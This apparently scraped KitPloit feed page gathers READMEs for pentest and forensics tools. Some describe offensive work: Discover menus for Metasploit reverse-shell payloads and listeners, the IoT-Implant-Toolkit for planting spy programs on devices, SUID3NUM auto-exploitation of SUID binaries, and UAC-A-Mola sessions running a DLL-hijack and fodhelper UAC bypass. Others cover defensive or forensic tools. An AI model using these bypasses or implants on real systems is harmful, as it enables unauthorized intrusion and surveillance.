Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5848 articles
Browse latest View live

Rbuster - Yet Another Dirbuster

$
0
0

yet another dirbuster

Common Command line options
  • -a <user agent string> - specify a user agent string to send in the request
  • -c <http cookies> - use this to specify any cookies that you might need (simulating auth). header.
  • -f - force processing of a domain with wildcard results.
  • -l - show the length of the response.
  • -r - follow redirects.
  • -s <status codes> - comma-separated set of the list of status codes to be deemed a "positive" (default: 200,204,301,302,307).
  • -u <url/domain> - full URL (including scheme), or base domain name.
  • -v - verbose output (show all results).
  • -w <wordlist> - path to the wordlist used for brute forcing.
  • -b <token> - HTTP Authorization via Bearer token.
  • -P <password> - HTTP Authorization password (Basic Auth only, prompted if missing).
  • -U <username> - HTTP Authorization username (Basic Auth only).

Install
cargo install rbuster

Install in kali
apt install libssl-dev pkg-config
cargo install rbuster

Example
$ rbuster -w common.txt -u http://horriblesubs.info/

Rbuster 0.1.0 Vadim Smirnov
=====================================================
Url/Domain : http://horriblesubs.info/
Wordlist : common.txt
Words : 4593
=====================================================
/thanks (Status: 301 Moved Permanently | Content-Length: 0)
/the (Status: 301 Moved Permanently | Content-Length: 0)
/ro (Status: 301 Moved Permanently | Content-Length: 0)
/robot (Status: 301 Moved Permanently | Content-Length: 0)
/robotics (Status: 301 Moved Permanently | Content-Length: 0)
/robots.txt (Status: 200 OK | Content-Length: 67)



Discover - Custom Bash Scripts Used To Automate Various Penetration Testing Tasks Including Recon, Scanning, Parsing, And Creating Malicious Payloads And Listeners With Metasploit

$
0
0

Custom bash scripts used to automate various penetration testing tasks including recon, scanning, parsing, and creating malicious payloads and listeners with Metasploit. For use with Kali Linux and the Penetration Testers Framework (PTF).
  • Lee Baird @discoverscripts
  • Jay "L1ghtn1ng" Townsend @jay_townsend1
  • Jason Ashton @ninewires

Download, setup, and usage
RECON
1. Domain
2. Person
3. Parse salesforce

SCANNING
4. Generate target list
5. CIDR
6. List
7. IP, range, or domain
8. Rerun Nmap scripts and MSF aux

WEB
9. Insecure direct object reference
10. Open multiple tabs in Firefox
11. Nikto
12. SSL

MISC
13. Parse XML
14. Generate a malicious payload
15. Start a Metasploit listener
16. Update
17. Exit

RECON

Domain
RECON

1. Passive
2. Active
3. Import names into an existing recon-ng workspace
4. Previous menu
Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit, URLCrazy, Whois, multiple websites, and recon-ng.
Active uses dnsrecon, WAF00W, traceroute, Whatweb, and recon-ng.
[*] Acquire API keys for Bing, Builtwith, Fullcontact, GitHub, Google, Hashes, Hunter, SecurityTrails, and Shodan for maximum results with recon-ng and theHarvester.
API key locations:

recon-ng
show keys
keys add bing_api <value>

theHarvester
/opt/theHarvester/api-keys.yaml

Person
RECON

First name:
Last name:
  • Combines info from multiple websites.

Parse salesforce
Create a free account at salesforce (https://connect.data.com/login).
Perform a search on your target company > select the company name > see all.
Copy the results into a new file.

Enter the location of your list:
  • Gather names and positions into a clean list.

SCANNING

Generate target list
SCANNING

1. Local area network
2. NetBIOS
3. netdiscover
4. Ping sweep
5. Previous menu
  • Use different tools to create a target list including Angry IP Scanner, arp-scan, netdiscover and nmap pingsweep.

CIDR, List, IP, Range, or URL
Type of scan:

1. External
2. Internal
3. Previous menu
  • External scan will set the nmap source port to 53 and the max-rrt-timeout to 1500ms.
  • Internal scan will set the nmap source port to 88 and the max-rrt-timeout to 500ms.
  • Nmap is used to perform host discovery, port scanning, service enumeration and OS identification.
  • Matching nmap scripts are used for additional enumeration.
  • Addition tools: enum4linux, smbclient, and ike-scan.
  • Matching Metasploit auxiliary modules are also leveraged.

WEB

Insecure direct object reference
Using Burp, authenticate to a site, map & Spider, then log out.
Target > Site map > select the URL > right click > Copy URLs in this host.
Paste the results into a new file.

Enter the location of your file:

Open multiple tabs in Firefox
Open multiple tabs in Firefox with:

1. List
2. Directories from robots.txt.
3. Previous menu
  • Use a list containing IPs and/or URLs.
  • Use wget to pull a domain's robot.txt file, then open all of the directories.

Nikto
Run multiple instances of Nikto in parallel.

1. List of IPs.
2. List of IP:port.
3. Previous menu

SSL
Check for SSL certificate issues.

Enter the location of your list:
  • Use sslscan and sslyze to check for SSL/TLS certificate issues.

MISC

Parse XML
Parse XML to CSV.

1. Burp (Base64)
2. Nessus (.nessus)
3. Nexpose (XML 2.0)
4. Nmap
5. Qualys
6. Previous menu

Generate a malicious payload
Malicious Payloads

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp (Linux)
4. java/jsp_shell_reverse_tcp (Windows)
5. linux/x64/meterpreter_reverse_https
6. linux/x64/meterpreter_reverse_tcp
7. linux/x64/shell/reverse_tcp
8. osx/x64/meterpreter_reverse_https
9. osx/x64/meterpreter_reverse_tcp
10. php/meterpreter/reverse_tcp
11. python/meterpreter_reverse_https
12. python/meterpreter_reverse_tcp
13. windows/x64/meterpreter_reverse_https
14. windows/x64/meterpreter_reverse_tcp
15. Previous menu

Start a Metasploit listener
Metasploit Listeners

1. android/meterpreter/reverse_tcp
2. cmd/windows/reverse_powershell
3. java/jsp_shell_reverse_tcp
4. linux/x64/meterpreter_reverse_https
5. linux/x64/meterpreter_reverse_tcp
6. linux/x64/shell/reverse_tcp
7. osx/x64/meterpreter_reverse_https
8. osx/x64/meterpreter_reverse_tcp
9. php/meterpreter/reverse_tcp
10. python/meterpreter_reverse_https
11. python/meterpreter_reverse_tcp
12. windows/x64/meterpreter_reverse_https
13. windows/x64/meterpreter_reverse_tcp
14. Previous menu

Update
  • Use to update Kali Linux , Discover scripts, various tools, and the locate database.


IoT-Implant-Toolkit - Toolkit For Implant Attack Of IoT Devices

$
0
0
IoT-Implant-Toolkit is a framework of useful tools for malware implantation research of IoT devices. It is a toolkit consisted of essential software tools on firmware modification, serial port debugging, software analysis and stable spy clients. With an easy-to-use and extensible shell-like environment, IoT-Implant-Toolkit is a one-stop-shop toolkit simplifies complex procedure of IoT malware implantation.
In our research, we have succcessfully implanted Trojans in eight devices including smart speakers, cameras, driving recorders and mobile translators with IoT-Implant-Toolkit.

A demo video below:


How to use

Installation
Make sure you have git, python3 and setuptools installed.
For audio processing and playing, you should install alsa(built-in in linux), sox and ffplay. On ubuntu18.04:
$ sudo apt install sox ffmpeg 
Download source code from our Github:
$ git clone https://github.com/arthastang/IoT-Implant-Toolkit.git
Set up environment and install dependencies:
$ cd IoT-Implant-Toolkit/
$ python3 setup.py install

Run
Run the toolkit:
$ python3 -B IoT-Implant-Toolkit.py
_____ _______ _____ _ _ _______ _ _ _ _
|_ _| |__ __| |_ _| | | | | |__ __| | | | (_) |
| | ___ | |______| | _ __ ___ _ __ | | __ _ _ __ | |_ ______| | ___ ___ | | | ___| |_
| | / _ \| |______| | | '_ ` _ \| '_ \| |/ _` | '_ \| __|______| |/ _ \ / _ \| | |/ / | __|
_| || (_) | | _| |_| | | | | | |_) | | (_| | | | | |_ | | (_) | (_) | | <| | |_
|_____\___/|_| |_____|_| |_| |_| .__/|_|\__,_|_| |_|\__| |_|\___/ \___/|_|_|\_\_|\__|
| |
|_|

IoT-Implant-Toolkit
-------------------------------------------------------------
A Framework for IoT implantation research.

by Marvel Team

Command:
list - List all tools
run - Run a specific tool
exit - Exit


[Implant-Toolkit]>
Three commands supported:
list: list all plugins
run: run a specific plugin with "run [plugin] [parameters]"
exit: exit

Features
Each software tool acts as a plugin which can be easily added into the framework.
There are more than ten plugins in four categories, including topics on serial port debugging, firmware pack&unpack, software analysis, and implanted spy programs.

List of Plugins
Existing plugins in our framework:
CategoriesToolsDescriptionsReference
Serial port debuggingpyserialmodem control and terminal emulation programhttps://github.com/pyserial/pyserial
Serial port debuggingbaudrate.pyfind correct baudratehttps://github.com/devttys0/baudrate
Firmware Pack&Unpackmksquashfscreate and extract Squashfs filesystemhttps://github.com/plougher/squashfs-tools
Firmware Pack&Unpackmkbootimg_toolsUnpack&repack boot.img for Androidhttps://github.com/xiaolu/mkbootimg_tools
Firmware Pack&Unpackcramfsmake cramfs filesystemhttps://sourceforge.net/projects/cramfs/files/cramfs/1.1/
Firmware Pack&Unpackmountimgmount&unmount ext4 filesystems for Android system.img&data.imgOn our github
Software Analysissetools-androidsetools for Android with sepolicy-injecthttps://github.com/xmikos/setools-android
Software Analysiscrosscompliecrosscompile toolchain for armon our Github later
Software Analysisodex unpackOdex to smali for Androidon our Github
Binary implantspy client&servera stable spy client and server, source and pre-built binson our Github
Binary implantdenoise tooldenoise tool for audio porcesson our Github

Create new plugins
Code structure:
--IoT-Implant_toolkit.py         #Startup script
--outputs/ #Default folder of outputs
--toolkit/
|---core/
|---basic/ #Basic plugin class defination
|---cli/ #Shell-like cli defination
|---toollist/ #Auto updating toollist of plugins
|---plugins/
|---firmware/ #Plugins for firmware modification
|---implant/ #Plugins for generate spy programs
|---serialport/ #Plugins for serial port debugging
|---software/ #Plugins for software analysis especially for Android
|---tools/ #Other tools
Create [newplugin].py in corresponding folder(category) and define init attributes to add a new plugin to IoT-Implant-Toolkit.The framework will detect new plugin automatically when startup.

Other tools

Hardware tools
Essential hardware tools for malware implantation research.See pictures in HardwareTools/ .
NameDescription
Soldering IronSolder tools
Solder WireSolder tools
Solder PasteSolder tools
Solder WickSolder tools
Hot Air GunSolder tools
Reballing ToolReballing tool
usb to ttlDebug / Console cable
Dupont WireElectrical wire
EPROM Burner ProgrammerBurner Programmer

Other useful software tools
We have not added more plugins due to time limitation.
Chart below are tools not fits our framework, but may be useful.
We hope that IoT-Implant-Tookit will be an essential toolkit in malware implantation.
CategoriesToolsDescriptionsReference
Firmware Analysisbinwalka fast, easy to use tool for analyzing, reverse engineering, and extracting firmware imageshttps://github.com/ReFirmLabs/binwalk
Firmware Modifyfirmware mod kita collection of scripts and utilities to extract and rebuild linux based firmware imageshttps://github.com/rampageX/firmware-mod-kit
Cross CompilerbuildrootCross Compiler for arm mips powerpchttps://buildroot.org/


FOCA - Tool To Find Metadata And Hidden Information In The Documents

$
0
0

FOCA (Fingerprinting Organizations with Collected Archives)

FOCA is a tool used mainly to find metadata and hidden information in the documents it scans. These documents may be on web pages, and can be downloaded and analysed with FOCA.
It is capable of analysing a wide variety of documents, with the most common being Microsoft Office, Open Office, or PDF files, although it also analyses Adobe InDesign or SVG files, for instance.
These documents are searched for using three possible search engines: Google, Bing, and DuckDuckGo. The sum of the results from the three engines amounts to a lot of documents. It is also possible to add local files to extract the EXIF information from graphic files, and a complete analysis of the information discovered through the URL is conducted even before downloading the file.

Releases
Check here our latest releases.

Requisites
To run the solution locally the system will need:
  • Microsoft Windows (64 bits). Versions 7, 8, 8.1 and 10.
  • Microsoft .NET Framework 4.7.1.
  • Microsoft Visual C++ 2010 x64 or greater.
  • An instance of SQL Server 2014 or greater.

Notes
  • When starting the app the system will check if there is a SQL Server instance available. If none is found, the system will prompt a window for introducing a connection string.

Stay tuned
Get the news about our latest doings and send us a message.

Further reading


SUID3NUM - A Script Which Utilizes Python'S Built-In Modules To Find SUID Bins, Separate Default Bins From Custom Bins, Cross-Match Those With Bins In GTFO Bin's Repository & Auto-Exploit Those

$
0
0

A standalone python script which utilizes python's built-in modules to find SUID bins, separate default bins from custom bins, cross-match those with bins in GTFO Bin's repository & auto-exploit those, all with colors!


Description
A standalone script supporting both python2& python3 to find out all SUID binaries in machines/CTFs and do the following
  • List all Default SUID Binaries (which ship with linux/aren't exploitable)
  • List all Custom Binaries (which don't ship with packages/vanilla installation)
  • List all custom binaries found in GTFO Bin's (This is where things get interesting)
  • Try and exploit found custom SUID binaries which won't impact machine's files
Why This?
  • Because LinEnum and other enumerationscripts only print SUID binaries & GTFO Binaries, they don't seperate default from custom, which leads to severe head banging in walls for 3-4 hours when you can't escalate privs :)

Output
SUID 3NUM's Sample Output

Works on
  • Python (2.6-7.*)
  • Python (3.6-7.*)

Download & Use
wget https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py --no-check-certificate && chmod 777 suid3num.py
curl -k https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py --output suid3num.py && chmod 777 suid3num.py

Tested on
  • Pop! OS 18.04 LTS
  • Ubuntu 18.04 LTS
  • Nebula
  • Kali Linux (PWK VM)

Usage
Initializing Script
python suid3num.py
Doing Auto Exploitation of found custom SUID binaries
python suid3num.py -e

Output


Auto Exploitation of SUID Bins


Note
Please run the script after going through what it does & with prior knowledge of SUID bins.
P.S ~ Don't run with `-e` parameter, if you don't know what you're doing!

Thanks
Shoutout to Zeeshan Sahi & Bilal Rizwan for their ideas and contribution.
Also, thanks to Cyrus for GTFO Bins<3
Let me know, what you think of this script at [@syed__umar](https://twitter.com/@syed__umar) ≧◡≦


UAC-A-Mola - Tool That Allows Security Researchers To Investigate New UAC Bypasses, In Addition To Detecting And Exploiting Known Bypasses

$
0
0

UAC-A-Mola is a tool that allows security researchers to investigate new UAC bypasses, in addition to detecting and exploiting known bypasses. UAC-A-mola has modules to carry out the protection and mitigation of UAC bypasses.

The strong point of uac-a-mola is that it was created so that other researchers can carry out the work and process of discovering new weaknesses in the UAC. Of course, the tool can be used in pentesting processes, as well as by IT teams to protect and enumerate equipment with UAC bypasses.

Installation
To install uac-a-mola you have to perform the following actions:
  1. Download and install python 2.7.x for Windows taking into account your particular infrastructure, you can find the binaries here: https://www.python.org/downloads/
  2. Add the python path to the path enviroment variable. You can do this by carrying out the following steps:
    1. Right click to mycomputer and left click to properties
    2. Left click to Advance system configuration
    3. Lef click to Enviroment Variables
    4. In the system variables box, double left click to Path
    5. Left clicking into New add the following paths:
      • C:\Python27\
      • C:\Python27\scripts\
  3. Download uac-a-mola tool from github by downloading the .zip file or by clonning the repo.
  4. Open the folder uac-a-mola-master with a cmd and execute the following command:
pip install -r requirements.txt
Uac-a-mola is now ready to rock! You can test its functionality by typing:
cd uacamola
python uacamola.py

Tutorial
This is a brief section that explains the use of some of the uac-a-mola modules:

Attack modules
Using the attack modules is something very simple that hardly requires explanation. The only thing you have to do is load the corresponding module in the framework using the load command, you can see the options or input parameters using the show command, with the run command the module is executed:
uac-a-mola> load .\modules\attack\dll_hijacking_wusa.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[dll_hijacking_wusa.py]> show

Author
------
|_Pablo Gonzalez (pablo@11paths or @pablogonzalezpe)

Name
----
|_Copy DLL with wusa.exe

Description
-----------
|_It's used for copy a DLL in privilege path (wusa method win7/8/8.1)


Options (Field = Value)
-----------------------
|_name_dll = comctl32.dll (name of DLL)
|
|_binary = compmgmtlauncher.exe (Path to the vulnerable binary)
|
|_malicious_dll = C:\Users\ieuser\Desktop\uac-a-mola\uacamola\payloads\comctl32\comctl32.dll (Path to a malicious dll)
|
|_name_folder = x86_microsoft.windows.common-controls_6595b641 44ccf1df_6.0.7601.17514_none_41e6975e2bd6f2 (Name folder)
|
|_destination_path = C:\Windows\System32 (Destination path)


uac-a-mola[dll_hijacking_wusa.py]> run
[+] Running module...
creating path...
SUCCESS: done
copying dll in path...
SUCCESS: done
creating DDF file...
SUCCESS: done
creating CAB file...
SUCCESS: done
launch wusa.exe /extract
SUCCESS: done! got root? :D
removing path...
SUCCESS: done
uac-a-mola[dll_hijacking_wusa.py]>
And other example:
uac-a-mola> load modules\attack\fileless_fodhelper.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[fileless_fodhelper.py]> show

Author
------
|_Santiago Hernandez Ramos

Name
----
|_Fileless Fodhelper

Description
-----------
|_Fileless - Fodhelper bypass UAC

Options (Field = Value)
-----------------------
|_instruction = C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -C echo mola > c:\pwned.txt (Elevated Code)

uac-a-mola[fileless_fodhelper.py]> set instruction powershell.exe
uac-a-mola[fileless_fodhelper.py]> run
[+] Running module...

Mitigate modules
Using the mitigation methods is also quite simple, but they have a slightly more complex internal structure that will be explained in this section. In relation to its use, the first thing that must be done is to load the available mitigation module:
uac-a-mola> load modules\mitigation\bypass_mitigation.py
[+] Loading module...
[+] Module loaded!
uac-a-mola[bypass_mitigation.py]> show

Author
------
|_Santiago Hernandez Ramos

Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses

Description
-----------
|_Bypass Mitigation

Options (Field = Value)
-----------------------
|_[REQUIRED] password = None (Password for connection)
|
|_[REQUIRED] binlist_file = None (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)
In this case, we will need to set a password that the agents will use to comunicate with the listener that will be executed in uacamola framework. We can find the agents in the path uacamola/support/agents , opening that files we can see the password:
fodhelper_ag = Agent('fodhelper.exe', 'localhost', 5555, 'uacamola')
fodhelper_ag.send_forbidden("Software\\Classes\\ms-settings\\Shell\\Open\\command")
uacamola will be the password used for authentication and comunication, but we can change it. The other parameter required is a path to a file that contains a list of binaries to monitor, this binaries must have an agent.pyw file in the agents paths.
uac-a-mola[bypass_mitigation.py]> show

Author
------
|_Santiago Hernandez Ramos

Name
----
|_This module will instrument the binaries selected and detect possible UAC bypasses

Description
-----------
|_Bypass Mitigation

Options (Field = Value)
-----------------------
|_password = uacamola (Password for connection)
|
|_binlist_file = bins.txt (File with a list of binaries to hook, one on each line)
|
|_port = 5555 (Port for connection)

uac-a-mola[bypass_mitigation.py]> run
[+] Running module...
[+] Executing the listener...

--- Press ENTER for quit mitigate mode ---
Just filling this fields and executing the run command, uacamola will start monitoring all the activity related to UAC bypass in the binaries that appear in the list. If dangerous activity is detected, it will automatically prune the dangerous branch (of the file system or registry) and it will execute the binary in a secure way. For exiting this mode we just need to press de ENTER key.

Research modules

Write your own modules

Support
Please report any error to pablo.gonzalezperez@telefonica.com or just open an issue in GitHub. Your collaboration is appreciated!


Snare - Super Next Generation Advanced Reactive honEypot

$
0
0

snare - Super Next generation Advanced Reactive honEypot

Super Next generation Advanced Reactive honEypot

About
SNARE is a web application honeypot sensor attracting all sort of maliciousness from the Internet.

Documentation
The documentation can be found here.

Basic Concepts
  • Surface first. Focus on the attack surface generation.
  • Sensors and masters. Lightweight collectors (SNARE) and central decision maker (tanner).

Getting started
  • You need Python3. We tested primarily with >=3.5
  • This was tested with a recent Ubuntu based Linux.

Steps to setup
  1. Get SNARE: git clone https://github.com/mushorg/snare.git and cd snare
  2. Install requirements: sudo pip3 install -r requirements.txt
  3. Setup snare: sudo python3 setup.py install
  4. Clone a page: sudo clone --target http://example.com
  5. Run SNARE: sudo snare --port 8080 --page-dir example.com
  6. Test: Visit http://localhost:8080/index.html
  7. (Optionally) Have your own tanner service running.

Docker build instructions
  1. Change current directory to snare project directory
  2. docker-compose build
  3. docker-compose up
More information about running docker-compose can be found here.
[Note : Cloner clones the whole website, to restrict to a desired depth of cloning add --max-depth parameter]
You obviously want to bind to 0.0.0.0 and port 80 when running in production.

Testing
In order to run the tests and receive a test coverage report, we recommend running pytest:
pip install pytest pytest-cov
sudo pytest --cov-report term-missing --cov=snare snare/tests/

Sample Output
    # sudo snare --port 8080 --page-dir example.com

_____ _ _____ ____ ______
/ ___// | / / | / __ \/ ____/
\__ \/ |/ / /| | / /_/ / __/
___/ / /| / ___ |/ _, _/ /___
/____/_/ |_/_/ |_/_/ |_/_____/


privileges dropped, running as "nobody:nogroup"
serving with uuid 9c10172f-7ce2-4fb4-b1c6-abc70141db56
Debug logs will be stored in /opt/snare/snare.log
Error logs will be stored in /opt/snare/snare.err
======== Running on http://127.0.0.1:8080 ========
(Press CTRL+C to quit)
you are running the latest version


Osmedeus v2.1 - Fully Automated Offensive Security Framework For Reconnaissance And Vulnerability Scanning

$
0
0

Osmedeus allows you automated run the collection of awesome tools to reconnaissance and vulnerability scanning against the target.

Installation
git clone https://github.com/j3ssie/Osmedeus
cd Osmedeus
./install.sh
This install only focus on Kali linux, check more install on Usage page

How to use
If you have no idea what are you doing just type the command below or check out the Advanced Usage
./osmedeus.py -t example.com

Features
  • Subdomain Scan.
  • Subdomain TakeOver Scan.
  • Screenshot the target.
  • Basic recon like Whois, Dig info.
  • Web Technology detection.
  • IP Discovery.
  • CORS Scan.
  • SSL Scan.
  • Wayback Machine Discovery.
  • URL Discovery.
  • Headers Scan.
  • Port Scan.
  • Vulnerable Scan.
  • Seperate workspaces to store all scan output and details logging.
  • REST API.
  • React Web UI.
  • Support Continuous Scan.
  • Slack notifications.
  • Easily view report from commnad line.
Check this Documentation for more detail about each module.

Screenshots






Example Commands
# normal routine
./osmedeus.py -t example.com
./osmedeus.py -T list_of_target.txt

# normal routine but slow speed on subdomain module
./osmedeus.py -t example.com --slow 'all'

# direct mode examples
./osmedeus.py -m subdomain -t example.com
./osmedeus.py -m portscan -i "1.2.3.4/24"

./osmedeus.py -m "portscan,vulnscan" -i "1.2.3.4/24" -w result_folder
./osmedeus.py -m "git" -i 'repo:https://github.com/foo/bar'
./osmedeus.py -m "git" -i 'user:sample'

# direct list mode examples
./osmedeus.py -m portscan -I list_of_targets.txt
./osmedeus.py -m portscan,vulnscan -I list_of_targets.txt
./osmedeus.py -m screen -I list_of_targets.txt -w result_folder

# report mode
./osemdeus.py -t example.com --report list
./osemdeus.py -t example.com --report export
./osemdeus.py -t example.com --report sum
./osemdeus.py -t example.com --report short
./osemdeus.py -t example.com --report full

Changelog
Please take a look at CHANGELOG.md



Password Lense - Reveal Character Types In A Password

$
0
0

What is this?
Certain characters in passwords ('O' and '0', 'I' and 'l', etc.) can be hard to identify when you need to type them in (and copy-paste is unavailable). Password Lense is a small web application that provides a quick and secure way to get a more informative view of your password.

Features
  • Color codes each character in your password with a corresponding legend/key
  • Hover-based tooltip on each character in case the colors are not enough
  • Accessible color palette
  • Monospace font for easy character identification
  • Core functionality works even when offline
  • Secure (your password never leaves your browser)
  • Pressing ESC clears the password (in case someone walks in unexpectedly)
  • Checks your password against those available in publicly disclosed data breaches (requires Internet connectivity)
  • Automatically checks for updates (requires Internet connectivity)


AutoMacTC - Automated Mac Forensic Triage Collector

$
0
0

This is a modular forensic triage collection framework designed to access various forensic artifacts on macOS, parse them, and present them in formats viable for analysis. The output may provide valuable insights for incident response in a macOS environment. Automactc can be run against a live system or dead disk (as a mounted volume.)

Requirements
  • Python 2.7 (Mac systems ship natively with Python 2.7. Python 3 support will be included in a future update)
  • MacOS target systems, for live collection (successfully tested on macOS major releases 10.11 through 10.14)
  • MacOS analysis systems, for triage against a mounted disk image

Basic usage
At its simplest, you can run automactc with the following invocation. Note: automactc requires sudo privileges to run, and should be called specifically from /usr/bin/python2.7 to ensure full functionality.
sudo /usr/bin/python2.7 automactc.py -m all
This will run all modules (-m) with default settings, i.e. - default input directory will be /, or the root of the current volume - default output directory will be ./, or the working directory from which automactc is run (NOT the location of the script) - default prefix for output filenames will be automactc-output - default behavior is to populate a runtime.log for debugging and info - default format for individual artifacts output files is CSV - default CPU priority is set to low - default behavior on completion is to compress all output files to tar.gz
In order to list all available modules and do nothing else, simply run:
automactc.py -l
The inputdir and outputdir can be specified with the -i and -o flags, respectively.
automactc.py -i / -o /automactc_output -m all 
Modules can be specified for inclusion or exclusion on a per-module basis. In other words, you can INCLUDE specific modules, such as pslist, bash, and profiler:
automactc.py -m pslist bash profiler
Or, you can exclude specific modules, to run all EXCEPT those specified, such as dirlist and autoruns:
automactc.py -x dirlist autoruns

Output Control
For every module, automactc will generate an output file and populate it with data. The output file format defaults to CSV, but can be toggled to JSON with the -fmt flag. It is not currently possible to specify output format on a per-module basis.
automactc.py -m all -fmt json 
Upon successfully populating the output file with data, the file is rolled into a .tar archive that is generated when automactc completes its first module. Upon completion of the last module, automactc will GZIP the .tar archive to .tar.gz.
The name of the tar archive follows the following naming convention:
prefix,hostname,ip,automactc_runtime.tar
The first field, prefix, can be specified at runtime with -p. If unspecified, the prefix is set to automactc-output. The other fields are populated from data gathered at runtime. This is useful when running automactc on several systems for a single incident.
automactc.py -m all -p granny-smith
While the default behavior is to generate a tarball, use of the -nt flag will prevent the creation of a tar archive and will leave the output files as-is in the output directory.
automactc.py -m all -p granny-smith -nt 

Current Modules
- pslist (current process list at time of automactc run)
- lsof (current file handles open at time of automactc run)
- netstat (current network connections at time of automactc run)
- asl (parsed Apple System Log (.asl) files)
- autoruns (parsing of various persistence locations and plists)
- bash (parsing bash/.*_history files for all users)
- chrome (parsing chrome visit history and download history)
- coreanalytics (parsing program execution evidence produced by Apple diagnostics)
- dirlist (list hof files and directories across the disk)
- firefox (parsing firefox visit history and download history)
- installhistory (parsing program installation history)
- mru (parsing SFL and MRU plist files)
- quarantines (parsing QuarantineEventsV2 database)
- quicklook (parsing Quicklooks database)
- safari (parsing safari visit history and download history)
- spotlight (parsing user spotlight top searches)
- ssh (pars ing known_hosts and authorized_keys files for each user)
- syslog (parsing system.log files)
- systeminfo (basic system identification, such as current IP address, serial no, hostname)
- terminalstate (parsing Terminal savedState files)
- users (listing present and deleted users on the system)
- utmpx (listing user sessions on terminals)

Advanced usage
By default, automactc populates verbose debug logging into a file named prefix,hostname,ip,runtime.log. You can disable the generation of this log with:
automactc.py -m all -nl
By default, automactc will print the INFO and ERROR log messages to the console. To run automactc in quiet mode and write NO messages to the console, use -q. INFO messages include program startup messages, one message per module start, and completion/cleanup messages.
automactc.py -m all -q
To print DEBUG messages to the console along with INFO and ERROR messages, use the -d flag.
automactc.py -m all -d
Automactc runs with the lowest CPU priority (niceness) possible by default. It is possible to disable niceness and run at a normal priority with the -r flag.
automactc.py -m all -r 
Automactc can also be run against a dead disk, if the disk is mounted as a volume on the analysis system. Once mounted, run automactc with the appropriate inputdir (pointing to the Volume mount point) and -f to toggle forensic mode ON.
NOTE: for a live system, if you wish to collect dirlist on mounted peripheral devices, you can use -f with -i /, else dirlist will not recurse further into mounted /Volumes.
automactc.py -i /Volumes/mounted_IMAGE/ -o /path/to/output -f -m all

Dirlist Arguments

Directory Inclusion/Exclusion
It is possible to limit dirlist recursion to specific directories with the -K flag. By default, dirlist will attempt to recurse from the root of the inputdir volume unless otherwise specified with this flag. Multiple directories can be specified in a space separated list.
automactc.py -m dirlist -K /Users/ /Applications/ /tmp 
It is also possible to exclude specific directories from dirlist recursion with the -E flag.
automactc.py -m dirlist -E /path/to/KnownDevDirectory
By default, the following directories and file are excluded on live systems:
/.fseventsd (to reduce output verbosity)
/.DocumentRevisions-V100 (to reduce output verbosity)
/.Spotlight-V100 (to reduce output verbosity)
/Users/*/Pictures (to avoid permissions errors)
/Users/*/Library/Application Support/AddressBook (to avoid permissions errors)
/Users/*/Calendar (to avoid permissions errors)
/Users/*/Library/Calendars (to avoid permissions errors)
/Users/*/Library/Preferences/com.apple.AddressBook.plist (to avoid permissions errors)
By default, the following directories are excluded when running forensic mode against a mounted image:
/.fseventsd (to reduce output verbosity)
/.DocumentRevisions-V100 (to reduce output verbosity)
/.Spotlight-V100 (to reduce output verbosity)
Any additional directories to exclude will be appended to this default list, unless you provide the -E no-defaults argument first, in which case only your specified directories will be excluded.
automactc.py -m dirlist -E no-defaults /path/to/KnownDevDirectory

Hashing
The hashing arguments below can be used for BOTH dirlist and the autoruns modules.
By default, the dirlist module will hash files only with the sha256 algorithm. If you wish to use both the SHA256 and MD5 algorithms, use -H sha256 md5. If you wish to use only md5, use -H md5. If you wish to use neither, use -H none. NOTE: If you run the dirlist module against a dead disk with hashing enabled, this currently takes a LONG time to run.
automactc.py -m dirlist -H sha256 md5
By default, the dirlist module will only hash files with sizes under 10mb. To override this setting and hash files under a different size threshold, the threshold can be changed with the -S flag in number of megabytes. NOTE: increasing the size threshold will likely increase the amount of time it takes to run the dirlist module. For example, to hash files up to 15MB:
automactc.py -m dirlist -S 15

Bundles, Signatures, Multithreading
By default, the dirlist module will NOT recurse into bundle directories, including the following:
'.app', '.framework','.lproj','.plugin','.kext','.osax','.bundle','.driver','.wdgt'
To override this setting, use the -R flag. NOTE: this produces a far higher volume of output and takes significantly more time. These bundle directories will be configurable in a future update.
By default, the dirlist module will check codesignatures for all .app, .kext, and .osax files found. To prevent the dirlist module from checking any code signatures, use the -NC flag. This argument can be used for BOTH dirlist and the autoruns modules.
automactc.py -m dirlist -NC
By default, the dirlist module has been multithreaded to increase processing speed. Multithreading can be disabled with the -NM flag.
automactc.py -m dirlist -NM

Help Menu
usage: automactc.py [-m INCLUDE_MODULES [INCLUDE_MODULES ...] | -x
EXCLUDE_MODULES [EXCLUDE_MODULES ...] | -l] [-h]
[-i INPUTDIR] [-o OUTPUTDIR] [-p PREFIX] [-f] [-nt] [-nl]
[-fmt {csv,json}] [-np] [-b] [-q | -d]
[-K DIR_INCLUDE_DIRS [DIR_INCLUDE_DIRS ...]]
[-E DIR_EXCLUDE_DIRS [DIR_EXCLUDE_DIRS ...]]
[-H DIR_HASH_ALG [DIR_HASH_ALG ...]]
[-S DIR_HASH_SIZE_LIMIT] [-R] [-NC] [-NM]

AutoMacTC: an Automated macOS forensic triage collection framework.

module filter:
-m INCLUDE_MODULES [INCLUDE_MODULES ...], --include_modules INCLUDE_MODULES [INCLUDE_MODULES ...]
module(s) to use, use "all" to run all modules, space
separated list only
-x EXCLUDE_MODULES [EXCLUDE_MODULES ...], --exclude_modules EXCLUDE_MODULES [EXCLUDE_MODULES ... ]
assumes you want to run all modules EXCEPT those
specified here, space separated list only
-l, --list_modules if flag is provided, will list available modules and
exit.

general arguments:
-h, --help show this help message and exit
-i INPUTDIR, --inputdir INPUTDIR
input directory (mount dmg with mountdmg.sh script and
use -f to analyze mounted HFS or APFS Volume)
-o OUTPUTDIR, --outputdir OUTPUTDIR
output directory
-p PREFIX, --prefix PREFIX
prefix to append to tarball and/or output files
-f, --forensic_mode if flag is provided, will analyze mounted volume
provided as inputdir
-nt, --no_tarball if flag is provided, will NOT package output files
into tarball
- nl, --no_logfile if flag is provided, will NOT generate logfile on disk
-fmt {csv,json}, --output_format {csv,json}
toggle between csv and json output, defaults to csv
